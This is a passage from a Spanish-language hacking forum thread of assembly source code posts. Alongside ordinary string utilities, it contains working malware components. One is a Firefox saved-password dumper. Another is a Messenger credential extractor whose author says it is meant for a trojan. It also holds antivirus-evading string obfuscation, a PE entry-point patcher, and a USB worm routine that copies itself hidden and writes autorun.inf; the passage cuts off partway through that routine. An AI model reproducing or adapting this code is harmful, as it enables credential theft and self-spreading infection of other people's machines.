CredEnumerate,'CredEnumerateA'
include 'api/user32.inc'
import msvcrt,printf,"printf",system,"system"

section '.reloc' fixups data discardable
Título: Re: [SRC][ASM]Sacar claves guardadas de el messenger(provado con messenger 9)
Publicado por: Arkangel_0x7C5 en 30 Abril 2009, 03:18 AM
menos mal que la mayoría no entienden asm

Saludos y buen code
Título: [SRC][ASM] Base64
Publicado por: YST en 30 Abril 2009, 03:55 AM
Hola , tengo un source que cifra y descifra en base64 yo no soy el autor y no se quien es ni la fuente , pero yo siempre eh creido que si uno tiene algo que le puede servir a alguien mas es mejor publicarlo que no publicarlo por falta de fuente y autor .

Código (asm) [Seleccionar]
include 'win32ax.inc'
.data
base64table db 43 dup (255)
db 62,255,255,255,63,52,53,54,55,56,57,58,59,60,61,255
db 255,255,0,255,255,255,0,1,2,3,4,5,6,7,8,9,10,11,12,13
db 14,15,16,17,18,19,20,21,22,23,24,25,255,255,255,255
db 255,255,26,27,28,29,30,31,32,33,34,35,36,37,38
db 39,40,41,42,43,44,45,46,47,48,49,50,51
db 132 dup (255)
alphabet db "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
clave rb 255
descifrada rb 255
.code

start:
invoke lstrlen,"WHKEsGay :O"
stdcall base64encode,"WHKEsGay :O",clave,eax

invoke MessageBox,0,clave,clave,0
invoke lstrlen,clave
stdcall base64decode,clave,descifrada,eax
invoke MessageBox,0,descifrada,descifrada,0
invoke ExitProcess,0
proc base64encode source, destination, sourcelen
push edi
push esi
push ebx
mov  esi, [source]
mov  edi, [destination]
@@base64loop:
.if [sourcelen] = 1
mov al, byte[esi]
and eax, 0FFh
mov ecx, 2 ;bytes to output = 2
mov edx, 03D3Dh ;padding = 2 byte
inc esi ;source ptr + 1
dec [sourcelen] ;length - 1
.elseif [sourcelen] = 2
mov ax, word[esi]
and eax, 0FFFFh
mov ecx, 3 ;bytes to output = 3
mov edx, 03Dh ;padding = 1 byte
add esi, 2 ;source ptr + 2
sub [sourcelen], 2 ;length - 2
.else
mov eax, dword [esi]
and eax, 0FFFFFFh
mov ecx, 4 ;bytes to output = 4
xor edx, edx ;padding = 0 byte
add esi, 3 ;source ptr + 3
sub [sourcelen], 3 ;length - 3
.endif
xchg al,ah ; flip eax completely
rol  eax, 16 ; can this be done faster
xchg al,ah ; ??

@@:
push  eax
and   eax, 0FC000000h ;get the last 6 high bits
rol   eax, 6 ;rotate them into al
mov   al,  byte[alphabet+eax] ;get encode character
stosb ;write to destination
pop   eax
shl   eax, 6 ;shift right 6 bits
dec   ecx
jnz   @B ;loop

cmp   [sourcelen], 0
jnz   @@base64loop ;main loop

mov   eax, edx ;add padding and null terminate
stosd ;  "     "    "     "     "

pop   ebx
pop   esi
pop   edi
ret
endp


proc base64decode  source:DWORD, destination:DWORD, sourcelen:DWORD
push   esi
push   edi
push   ebx

mov    esi, [source] ; esi <- source
mov    edi, [destination] ; edi <- destination
mov    ecx, [sourcelen]
shr    ecx, 2
cld

;-------------[decoding part]---------------

@@outer_loop:
push   ecx
mov    ecx, 4
xor    ebx, ebx
lodsd
@@inner_loop:
push   eax
and    eax, 0ffh
mov    al, byte[base64table+eax]
cmp    al, 255
je     @@invalid_char
shl    ebx, 6
or     bl, al
pop    eax
shr    eax, 8
dec    ecx
jnz    @@inner_loop
mov    eax, ebx
shl    eax, 8
xchg   ah, al
ror    eax, 16
xchg   ah, al
stosd
dec    edi
pop    ecx
dec    ecx
jnz    @@outer_loop
xor    eax, eax
jmp    @@decode_done

;-------------------------------------------

@@invalid_char:
mov    eax, -1
@@decode_done:
pop    ebx
pop    edi
pop    esi
ret
endp
.end start


Título: Re: [SRC][ASM]Sacar claves guardadas de el messenger(provado con messenger 9)
Publicado por: Darioxhcx en 30 Abril 2009, 06:30 AM
Cita de: Arcangel_0x7C5 en 30 Abril 2009, 03:18 AM
menos mal que la mayoría no entienden asm

Saludos y buen code
si uno quisiera hacerlo.. se buscaria un soft como los que hai en una recopilacion
y no necesita saber asm :P

si me pasas el .exe lo pruebo en 8.1 , nunca use ni 8.5 ni la version 9
lo compilaria yo , pero no tengo fasm ni ningun compilador asm
no se asm :P

un saludo

por cierto..

Humilde Visor de calves
claves :P
Título: Re: [SRC][ASM]Sacar claves guardadas de el messenger(provado con messenger 9)
Publicado por: YST en 30 Abril 2009, 06:37 AM
La idea no es que lo uses tal cual esta ,la idea es modificarlo para ponerselo a algún troyano o algo a si .

Citarsi me pasas el .exe lo pruebo en 8.1 , nunca use ni 8.5 ni la version 9
No , muchas gracias , este deberia andar en todos los live sin problemas.

Citarpero no tengo fasm ni ningun compilador asm

ASM no tiene compiladores si no ensambladores.

CitarHumilde Visor de calves
claves
Corregido ;)
Título: Re: [SRC][ASM]Sacar claves guardadas de el messenger(provado con messenger 9)
Publicado por: Erik# en 30 Abril 2009, 10:59 AM
Voy a probarlo y te digo, me servira para mi aprendizaje en ASM :).
A Ensamblaaar!

EDIT: Buenisimo, me ha sacado las dos claves que tenia guardadas.. ;)
Título: SRCs de YST.
Publicado por: YST en 1 Mayo 2009, 09:48 AM
Despues de un dia entero trbaajando en el source para traducirlo lo logre , el codigo lo engo que optimisar todavia ya que tiene muchas partes inecesarias.

Código (asm) [Seleccionar]

format pe console
entry start
include 'win32ax.inc'
sPath equ dword[ebx+4]
Espacio equ 13,10
.data

struct TSECItem
    SECItemType     dd ?
    SECItemData     dd ?
    SECItemLen      dd ?
    ends
    url dd ?
    valor dd ?

lvLibs0 dd ?
Logo db '         =====================================================',13,10
     db '         = Humilde Visor de claves de el Firefox 0.1v by YST =',13,10
     db '         =====================================================',13,10,0

URL dd ?
Campo dd ?
tsec TSECItem
tSecDec  TSECItem
lvLibs7 dd ?
lKeySlot dd ?
P dd ?
bUsados    dd ?
hFile dd ?
tamAr dd ?
IB dd ?
sFFPath  rb MAX_PATH+1
sRet rb 260
sRet2 rb 260
comp dd ?
.code
start:
invoke system,"color 03"
invoke printf,"%s",Logo
invoke SHGetSpecialFolderLocation,0,26h,ebx
invoke LocalAlloc,40h,MAX_PATH+1
mov dword[ebx+4] ,eax
invoke SHGetPathFromIDList,dword[ebx],sPath
invoke lstrcat,sPath,"\Mozilla Firefox\"


stdcall Cargar,dword[ebx+4],"mozcrt19.dll"
stdcall Cargar,dword[ebx+4],"sqlite3.dll"
stdcall Cargar,dword[ebx+4],"nspr4.dll"
stdcall Cargar,dword[ebx+4],"plc4.dll"
stdcall Cargar,dword[ebx+4],"plds4.dll"
stdcall Cargar,dword[ebx+4],"nssutil3.dll"
stdcall Cargar,dword[ebx+4],"softokn3.dll"
stdcall Cargar,dword[ebx+4],"softokn3.dll"


;"nss3.dll"
invoke LocalAlloc,40h,MAX_PATH+1
mov [P],eax
stdcall Concat,sPath, "nss3.dll",eax
invoke LoadLibrary,[P]
mov [lvLibs7],eax
invoke LocalFree,[P]
;1A
invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sFFPath
invoke lstrcat,sFFPath,"\Mozilla\Firefox\profiles.ini"

invoke GetPrivateProfileString,"Profile0", "Path", 0, sRet, 260, sFFPath

stdcall Zerar,sFFPath,MAX_PATH

invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sFFPath
invoke lstrcat,sFFPath,"\Mozilla\Firefox\"
invoke lstrcat,sFFPath,sRet
invoke lstrcat,sFFPath,"\signons3.txt"

invoke  CreateFile, sFFPath, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0
mov [hFile], eax
invoke  GetFileSize, eax, 0
mov [tamAr], eax
invoke  GlobalAlloc, GPTR, eax
mov [IB], eax
invoke  ReadFile, [hFile], [IB], [tamAr], bUsados, 0

invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sRet2
invoke lstrcat,sRet2  ,"\Mozilla\Firefox\"
invoke lstrcat,sRet2  ,sRet
;lKeySlot
invoke GetProcAddress,[lvLibs7], "NSS_Init"
stdcall eax,sRet2
.if eax = 0
invoke GetProcAddress,[lvLibs7], "PK11_GetInternalKeySlot"
stdcall eax
   mov [lKeySlot],eax
.if eax <> 0
    invoke GetProcAddress,[lvLibs7], "PK11_Authenticate"

    stdcall eax,[lKeySlot],TRUE,0
.if eax = 0
xor edi,edi
mov ebx,[IB]
invoke printf,Espacio
invoke printf,Espacio
.bucle:

inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],"."
jne .bucle
cmp byte[ebx+1],13
jne .bucle
cmp byte[ebx+2],10
jne .bucle
add ebx,3
.if byte[ebx] <> 0
mov [URL],ebx
.bucle2:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle2
cmp byte[ebx+1],10
jne .bucle2
mov byte[ebx],0
mov byte[ebx+1],0
invoke printf,Espacio
invoke printf,Espacio
invoke printf,"WEB: %s",[URL]
invoke printf,Espacio
.campo:
add ebx,2
mov [Campo],ebx
.bucle3:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle3
cmp byte[ebx+1],10
jne .bucle3
mov byte[ebx],0
mov byte[ebx+1],0
invoke printf,"Campo: %s",[Campo]
invoke printf,Espacio
add ebx,2
mov [valor],ebx
.bucle4:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle4
cmp byte[ebx+1],10
jne .bucle4
mov byte[ebx],0
mov byte[ebx+1],0
invoke lstrlen,[valor]
mov [Campo],eax
   invoke GetProcAddress,[lvLibs7], "NSSBase64_DecodeBuffer"
stdcall eax,0,  tsec, [valor], [Campo]
   invoke GetProcAddress,[lvLibs7], "PK11SDR_Decrypt"

stdcall eax, tsec,tSecDec, 0
invoke printf,"Datos: %s",[tSecDec.SECItemData]
invoke printf,Espacio
add ebx,2
.if dword[ebx] = "http"
sub ebx,2
jmp .bucle
.else
sub ebx,2
jmp .campo
.endif
.endif
.endif
.endif
.endif
.endif
salir:
invoke ExitProcess,0

proc Cargar, sPathL, libreria
invoke LocalAlloc,40h,MAX_PATH+1
mov [P],eax
stdcall Concat,[sPathL],[libreria] ,eax
invoke LoadLibrary,[P]
invoke LocalFree,[P]
ret
endp
proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
mov esi,[@AdrSrc1]
mov edi,[@AdrDest]
.concat_src1:
movsb
cmp byte[esi],0
jne .concat_src1
mov esi,[@AdrSrc2]
.concat_src2:
movsb
cmp byte[esi],0
jne .concat_src2
movsb
ret
endp

proc Zerar,Puntero,Cantidad

    push ecx
    push ebx

              mov ecx,[Cantidad]
                 mov ebx,[Puntero]
                .bucle:

                mov byte[ebx+ecx],0
                loop .bucle
                mov byte[ebx],0
                pop ebx
                pop ecx
                ret
endp

   section '.idata' import data readable writeable
   library kernel32,'kernel32.dll',user32,'user32.dll',msvcrt,'msvcrt.dll',shell32,'shell32.dll'
   include 'api/kernel32.inc'
include 'api/user32.inc'
import msvcrt,printf,"printf",system,"system"
include 'api/shell32.inc'
section '.reloc' fixups data discardable
Título: Re: [SRC][ASM]Visor de claves de el firefox(provado con 3.0.10 )
Publicado por: Karcrack en 1 Mayo 2009, 11:13 AM
Buen trabajo, yo estaba haciendo lo mismo :xD

Porcierto, todo lo que tu haces es Humilde? :xD :xD :xD

PD:El code es un poco mas pesado de lo necesario no?
Título: Re: [SRC][ASM]Visor de claves de el firefox(provado con 3.0.10 )
Publicado por: YST en 1 Mayo 2009, 16:12 PM
Cita de:  Karcrack en 01 Mayo 2009, 11:13
Buen trabajo, yo estaba haciendo lo mismo :xD
Gracias , podrias hacerlo tu tambien y postearlo.

CitarPorcierto, todo lo que tu haces es Humilde? :xD :xD :xD
Si  :xD :xD

CitarPD:El code es un poco mas pesado de lo necesario no?

el codigo lo tengo que optimizar todavia ya que tiene muchas partes inecesarias.
Aparte la sección

section '.reloc' fixups data discardable

ocupa mucho espacio , se la puedes sacar si gustas y el codigo lo termine a las 4:30 AM(hora chilena) osea no estaba en condicion para ponerme a mejorar el source  :xD.

Ahora a ver como guarda las claves el IE7 y el IE8
Título: SRCs de YST.
Publicado por: YST en 1 Mayo 2009, 18:16 PM
Código (asm) [Seleccionar]
include 'win32ax.inc'
INVALID_FILE_SIZE = 0xffffffff
.code
start:
stdcall ChangeEntryPoint,"c:\Arreglado.exe",$
.if eax = 0
invoke MessageBox,0,"Ocurrio un error al intentar cambiar el Entry Point" ,0,0
.else
invoke MessageBox,0,"El Entry Point a sido cambiado" ,0,0
.endif
invoke ExitProcess,0


proc ChangeEntryPoint,Path,NewEP:DWORD
locals
Handle dd ?
Tamaño dd ?
Emezeta dd ?
cantidad dd ?
endl
push ebx
invoke  CreateFile, [Path], GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0    ;Abrimos el archivo para lectura
cmp eax,INVALID_HANDLE_VALUE
je .error
mov [Handle],eax                                     ;Guardamos el handle
invoke  GetFileSize, eax, 0                         ;Vemos el tamaño
cmp eax,INVALID_FILE_SIZE
je .error
mov [Tamaño], eax
invoke  GlobalAlloc, GPTR, eax
mov [Emezeta], eax
invoke  ReadFile, [Handle], [Emezeta], [Tamaño], addr cantidad, 0     ;Leemos el archivo
cmp eax,TRUE
jne .error
invoke CloseHandle,[Handle]     ;Cerramos el handle
cmp eax,NULL
je .error

mov ebx,[Emezeta]
cmp word[ebx],"MZ"
jne .error

add ebx,dword[ebx+03ch]
cmp word[ebx],"PE"
jne .error

xor eax,eax
mov eax,[NewEP]
mov dword[ebx+28h],eax      ;Cambiamos el EP

invoke CreateFileA,[Path], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0    ;Creamos el archivo borrando el anterior
cmp eax,INVALID_HANDLE_VALUE
je .error
               mov [Handle], eax

                ;Escibimos el archivo
                invoke WriteFile, [Handle], [Emezeta] , [Tamaño],addr cantidad, NULL

                ; "Cerramos" el archivo
                invoke CloseHandle,[Handle]

cmp eax,NULL
je .error
mov eax,1
jmp .salir
.error:
xor eax,eax
.salir:
pop ebx
ret
endp
.end start
Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: ‭‭‭‭jackl007 en 1 Mayo 2009, 18:20 PM
me pregunto los antivirus detectran que se cambia el entrypoint?
buen trabajo
Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: [Zero] en 1 Mayo 2009, 18:37 PM
Si, concretamente avira y bitdefender entre otros lo detectan, yo tuve problemas con eso en mi proyecto y estuve bastante pensando hasta que por fin conseguí saltarmelo  ;D. Con ejecutables en VB lo detectan bastante ya que tienen el mismo entry point y con los otros no tanto pero si.

Saludos
Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: YST en 1 Mayo 2009, 18:40 PM
Citar
me pregunto los antivirus detectran que se cambia el entrypoint?
Depende el caso , por ejemplo como dice Hacker_zero si se lo cambias a un ejecutable hecho con Viisual basic te lo detectan.
Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: ~~ en 3 Mayo 2009, 20:37 PM
Mapear el archivo en estos casos suele ahorrar bastante trabajo, ya que se guardan los cambios automáticamente al "desmapearlo". Buen trabajo ;)
Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: YST en 4 Mayo 2009, 03:22 AM

CitarMapear el archivo en estos casos suele ahorrar bastante trabajo, ya que se guardan los cambios automáticamente al "desmapearlo".
Con mapear el archivo te refieres a usar las api's como CreateFileMapping ? . Si es a si si tienes razón disminuyen el trabajo.

CitarBuen trabajo ;)
Gracias  :D
Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: ~~ en 4 Mayo 2009, 15:33 PM
Si, a esas mismas, así solo tendrías que mapearlo, cambiar en memoria el DWORD del EP y desmapearlo xD
Título: SRCs de YST.
Publicado por: YST en 5 Mayo 2009, 10:24 AM
Hola , para un proyecto que tengo que hacer tube la necesidad de desarrollar algo parecido al split de visual basic , se los dejo espero que les sirva
Código (asm) [Seleccionar]

include 'win32ax.inc'
.data
Separador db "/()·/", 0
Cadena db 'Soy/()·/una/()·/cadena',0
Cantidad dd ?
buffer rb MAX_PATH
.code
start:
stdcall Split,Cadena,Separador,buffer
mov [Cantidad],eax
stdcall Len,Separador
mov ebx,eax
mov ecx,[Cantidad]
inc ecx
mov esi,buffer
.bucle:
push ecx
invoke MessageBox,0,esi,esi,0
stdcall Len,esi
add esi,eax
add esi,ebx
pop ecx
loop .bucle
invoke ExitProcess,0
; cCadena(in) = Cadena a partir
; cSeparador(in) = Separador que se usara para partir la cadena
; cBuffer(out) = A donde se guardara la cadena partida
; Retorna la cantidad de separadores encontrados
proc Split,cCadena,cSeparador,cBuffer
push edi esi ecx  ebx
xor ebx,ebx
stdcall copy,[cBuffer],[cCadena]
stdcall Len,[cSeparador]
mov edi,eax
mov  esi,[cBuffer]
dec  esi
.bucle:
inc esi
cmp byte[esi],0
je .salir
mov cl,byte[esi+edi]
mov byte[esi+edi],0
stdcall comparar,esi,[cSeparador]
mov byte[esi+edi],cl
cmp eax,0
jne .bucle
inc ebx
mov byte[esi],0
add esi,edi
jmp .bucle
.salir:
mov eax,ebx
pop ebx ecx esi edi
ret
endp

proc comparar ,SRC,DST ;Funcion que compara
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
proc Len,cCadena   ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
proc copy,cDestino,cCadena    ;funcion que copia una cadena
push ecx edi esi
stdcall Len,[cCadena]
add eax,2
mov ecx,eax
mov esi,[cCadena]
mov edi,[cDestino]
rep movsb
pop esi edi ecx
ret
endp
.end start

Título: SRCs de YST.
Publicado por: YST en 16 Mayo 2009, 07:56 AM
Hola , hice una función de "cifrado" mas que nada para hacer mas fuerte la encriptacion XOR , tambien se puede usar para modificar el nombre de las dll de un archivo , basicamente lo que hace es cambiar las minisculas por mayusculas y viceversa nom modificando ningun simbolo , es muy basica pero como lo dije la use para cifrar cadenas ( primero le paso mi encriptaccion y luego un xor normal ) , funciona para mejorar la cifrado ya que como sabran para nosotros la letra "A" es la misma que "a" pero para los antivirus son diferentes ya que su valor ascii es distinto , bueno se las dejo veran ustedes para que la usan.

Código (asm) [Seleccionar]
include 'win32ax.inc'

.data
xD db '[soy una cadena.]',0
.code
start:
stdcall EncriptacionChangeCase,xD,0
invoke MessageBox,0,xD,0,0
invoke ExitProcess,0
;Función que transforma las miniscula a mayusculas y viceversa
; cCadena = Puntero de cadena a cifrar
; cTTamaño = Tamaño de cadena a enbcriptar si este es 0 se medira la cadena automaticamente (fin de cadena de caracter nulo )
;  By YST
proc EncriptacionChangeCase,cCadena,cTamaño
push ebx
xor ebx,ebx
cmp [cTamaño],0
je .contar
mov ebx,[cTamaño]
jmp .Start
.contar:
mov ebx,0
mov eax,[cCadena]
.len:
inc ebx
inc eax
cmp byte[eax],0
jne .len
.Start:
mov eax, [cCadena]
dec eax
inc ebx
.bucle:
dec ebx
inc eax
cmp ebx,0
je .salir
cmp byte[eax],'A'
jb .bucle
cmp byte[eax],91
jge .revisar
jmp .seguir
jmp .bucle
.seguir:
cmp byte[eax],"Z"
jbe .Mayuscula
cmp byte[eax],"z"
jbe .Miniscula
jmp .bucle
.salir :
xor ebx,ebx
mov ebx,0
mov eax,[cCadena]
pop ebx
ret
.revisar:
cmp byte[eax],96
jg .seguir
jbe .bucle
.Mayuscula:         ;Si es Mayuscula la pasamos a miniscula
add byte[eax],0x20
jmp .bucle
.Miniscula:         ;Si es miniscula la pasamos a Mayuscula
sub byte[eax],0x20
jmp .bucle
xor ebx,ebx
mov ebx,0
mov eax,[cCadena]
endp

.end start



por cierto por si necesitan una función para cifrar con XOR


Código (asm) [Seleccionar]

;Función que cifra con un xor 10 cada byte de una cadena
; cCadena = Puntero de cadena a cifrar
; cTTamaño = Tamaño de cadena a enbcriptar si este es 0 se medira la cadena automaticamente (fin de cadena de caracter nulo )
;  By YST
proc EncriptacionXOR,cCadena,cTamaño
push ebx
xor ebx,ebx
cmp [cTamaño],0
je .contar
mov ebx,[cTamaño]
jmp .Start
.contar:
mov ebx,0
mov eax,[cCadena]
.len:
inc ebx
inc eax
cmp byte[eax],0
jne .len
.Start:
mov eax,[cCadena]
inc ebx
dec eax
.bucle:
dec ebx
cmp ebx,0
jbe .salir
inc eax
xor byte[eax],10
jmp .bucle
.salir:
pop ebx
ret
endp
Título: [SRC]Funciones para trabajar cadenas unicode
Publicado por: YST en 16 Mayo 2009, 21:37 PM
Hola,

necesite hacer una pequeña función que pasar a unicode , a alguien mas le puede servir por eso la posteo

Código (asm) [Seleccionar]

proc ASCIITOUNICODE,Cadena,Buffer
push ecx ebx
mov  eax,[Cadena]
mov ebx,[Buffer]
dec eax
sub ebx,2
.bucle:
inc eax
cmp byte[eax],0
je .salir
add ebx,2
mov cl,byte[eax]
mov byte[ebx],cl
mov byte[ebx+1],0
jmp .bucle
.salir:
pop ebx ecx
ret
endp




Funcion que cuenta el largo de una cadena en Unicode:



Código (asm) [Seleccionar]
proc LenUnicode,cCadena
mov ebx,[cCadena]
mov eax,0
.bucle:
inc eax
cmp byte[ebx+eax*2],0
jne  .bucle
pop ebx
ret
endp


Funcion para concatenar cadenas en unicode



Código (asm) [Seleccionar]
proc ConcatenarUnicode,cCadena1,cCadena2,cBuffer
push esi edi
    mov edi,[cBuffer]
    mov esi,[cCadena1]

.bucle1:
    movsb
    cmp word[esi],0
    jne  .bucle1

       inc edi
        mov esi,[cCadena2]
.bucle2:
    movsb
    cmp word[esi],0
    jne  .bucle2
    pop edi esi
ret
endp

Título: Re: [SRC]EncriptacionChangeCase
Publicado por: [Zero] en 16 Mayo 2009, 23:27 PM
Muy buena si señor  ;-). Tal vez podrías mejorarla haciendo que lo que decida mayúscula o minúscula sea un algoritmo pseudoaleatorio así el resultado será siempre diferente, yo lo hice en c  así (http://foro.elhacker.net/programacion_cc/src_changeimportcase-t255065.0.html).

Saludos  ;)
Título: Re: [SRC]EncriptacionChangeCase
Publicado por: YST en 17 Mayo 2009, 02:17 AM
Para el uso que la use necesita ser reversible y de tu manera no lo es , podrias leer mejor el post.
Título: SRCs de YST.
Publicado por: YST en 19 Mayo 2009, 00:57 AM
No se si a alguien le sirva pero igual la dejo

Código (asm) [Seleccionar]
;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
; by YST
proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
push esi edi
xchg edi,[cBuffer]
xchg esi,[Cpuntero]
.bucleb:
dec [cCantidad]
movsb
cmp  [cCantidad],0
jge .bucleb
pop edi esi
ret
endp
Título: [SRC] Encriptacion YST
Publicado por: YST en 19 Mayo 2009, 02:58 AM
Hola , hice un pequeño enredo para cifrar ,digo enredo por que de criptografia yo no tengo idea,lo dejo


Código (asm) [Seleccionar]
proc YSTEncript,cCadena,cBuffer,cTamaño
push eax ebx ecx  edx esi
mov ebx,[cBuffer]
mov esi,[cCadena]
dec esi
dec ebx
.Eb:
dec [cTamaño]
inc esi
inc ebx
mov cl,byte[esi]
add cl,3
mov byte[ebx],cl
not byte[ebx]
xor byte[ebx],45
mov edx,[cTamaño]
xor byte[ebx],dl
cmp [cTamaño],0
jne .Eb
pop  esi edx ecx ebx eax
ret
endp

proc YSTDesencript,cCadena,cBuffer,cTamaño
push  eax ebx ecx  edx esi
mov ebx,[cBuffer]
mov esi,[cCadena]
dec esi
dec ebx
.Eb:
dec [cTamaño]
inc esi
inc ebx
mov cl,byte[esi]
mov byte[ebx],cl
mov edx,[cTamaño]
xor byte[ebx],dl
not byte[ebx]
xor byte[ebx],45
sub byte[ebx],3
cmp [cTamaño],0
jne .Eb
pop  esi edx ecx ebx eax
ret
endp
Título: Re: [SRC] Encriptacion YST
Publicado por: Amerikano|Cls en 19 Mayo 2009, 04:17 AM
Muy bueno YST sigue así, luego lo analizaré que tal  ;)
Título: [SRC] cInstr
Publicado por: YST en 20 Mayo 2009, 02:31 AM
Código (asm) [Seleccionar]
include 'win32ax.inc'
.code
start:
stdcall cInstr,"98y4ct2y3Hola83925832c","Hola"
.if eax = FALSE
invoke MessageBox,0,"No esta.",0,0
.else
invoke MessageBox,0,eax,0,0
.endif
invoke ExitProcess,0
;////////////////////////////////////////////////////////////////////////////////////////////////////
;//Descripción: Funcion que ve si la segunda cadena se encuentra dentro de la primera             //
;//c1 = Cadena                                                                                   //
;//c2 = Cadena que se buscara en c1                                                             //
;// Retorna:                                                                                   //
;// Si no se encuentra o hay error retorna FALSE , en el caso de que se encuentre devuelve eax//
;// apuntandoa la posicion de c1 donde se encontro c2                                        //
;// by YST                                                                                  //
;////////////////////////////////////////////////////////////////////////////////////////////
proc cInstr,c1,c2
push edi esi ebx ecx  edx
stdcall Len,[c2]
mov edi,eax
stdcall Len,[c1]
mov esi,eax
cmp edi,esi
jg .Falso
mov edx,[c1]
mov ebx,[c2]
dec edx
inc esi
.bucle:
dec esi
inc edx
mov cl,byte[edx+edi]
mov byte[edx+edi],0
stdcall comparar,edx,[c2]
mov byte[edx+edi],cl
.if eax = 0
mov eax,edx
jmp .salir
.endif
cmp esi,0
jne .bucle
.Falso:
mov eax,FALSE
.salir:
pop edx ecx ebx esi edi
ret
endp
proc comparar ,SRC,DST ;Funcion que compara
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
proc Len,cCadena   ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
.end start
Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: Karcrack en 20 Mayo 2009, 18:56 PM
Buen trabajo ;D!

Esto es lo que hace RtlMoveMemory según Olly... es muy parecido al tuyo ;D

Código (asm) [Seleccionar]
7C912C94 > 56               PUSH ESI
7C912C95   57               PUSH EDI
7C912C96   8B7424 10        MOV ESI,DWORD PTR SS:[ESP+10]
7C912C9A   8B7C24 0C        MOV EDI,DWORD PTR SS:[ESP+C]
7C912C9E   8B4C24 14        MOV ECX,DWORD PTR SS:[ESP+14]
7C912CA2   FC               CLD
7C912CA3   3BF7             CMP ESI,EDI
7C912CA5   76 1A            JBE SHORT ntdll.7C912CC1
7C912CA7   8BD1             MOV EDX,ECX
7C912CA9   83E2 03          AND EDX,3
7C912CAC   C1E9 02          SHR ECX,2
7C912CAF   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
7C912CB1   0BCA             OR ECX,EDX
7C912CB3   75 05            JNZ SHORT ntdll.7C912CBA
7C912CB5   5F               POP EDI
7C912CB6   5E               POP ESI
7C912CB7   C2 0C00          RETN 0C


Aunque no se que es CLD... tendré que investigar...
Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: YST en 20 Mayo 2009, 19:01 PM
CitarAunque no se que es CLD... tendré que investigar...
Borra la bandera de direccion si no mal recuerdo.
Título: [SRC]Infección USB
Publicado por: YST en 20 Mayo 2009, 19:07 PM
Esta en fasm para llamarlo se llama con
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0

Código (ASM) [Seleccionar]

     Autorun db '[autoRun]',13,10,\
'action=Open Files On Folder',13,10,\
'shellexecute=',0
Autorun2 db 13,10,\
'UseAutoPlay=1',0 
BufferUnidades rb 31
 


Código (ASM) [Seleccionar]
proc InfeccionUSB
locals
Miruta dd ?
Minombre dd ?
MiRutaInfeccionaria dd ?
MiAutorun dd ?
RutaAutorun dd ?
handleCreado dd ?
tamaño dd ?
bEscritos dd ?
endl
pushad

invoke GlobalAlloc,GPTR,MAX_PATH
  mov [Miruta],eax
invoke GetModuleFileNameA,0,[Miruta],MAX_PATH
  stdcall ConseguirNombre,[Miruta]
  mov [Minombre],eax
       .infinito:
    invoke SleepEx,1000,FALSE
       stdcall Zerar,BufferUnidades,30
invoke GetLogicalDriveStringsA,30,BufferUnidades
        mov ebx,BufferUnidades
        .bucleDetectaExtraible:
invoke GetDriveTypeA,ebx

.if eax = DRIVE_REMOVABLE
.if word[ebx] = 'A:'
.else
      invoke GlobalAlloc,GPTR,MAX_PATH
mov [MiRutaInfeccionaria],eax
           stdcall Concat,ebx,[Minombre],[MiRutaInfeccionaria]

     ;       stdcall LLamaOtraApi,'shlwapi.dll', "PathFileExistsA"
invoke PathFileExistsA,[MiRutaInfeccionaria]
.if eax = FALSE

invoke CopyFileA,[Miruta],[MiRutaInfeccionaria],FALSE
                ;SetFileAttributes
          invoke SetFileAttributesA,[MiRutaInfeccionaria],FILE_ATTRIBUTE_HIDDEN
              invoke GlobalAlloc,GPTR,MAX_PATH
              mov [MiAutorun] ,eax
            invoke GlobalAlloc,GPTR,MAX_PATH
            mov [RutaAutorun],eax
              stdcall Concat,Autorun,[Minombre], [MiAutorun]
                    stdcall Concat,[MiAutorun],Autorun2, [MiAutorun]
                    stdcall Concat,ebx,"autorun.inf",[RutaAutorun]

            invoke CreateFileA, [RutaAutorun] , GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
                mov [handleCreado], eax
            invoke lstrlenA,[MiAutorun]
              mov [tamaño],eax
      invoke WriteFile, [handleCreado],[MiAutorun] , [tamaño], addr bEscritos, NULL

       
            invoke CloseHandle, [handleCreado]
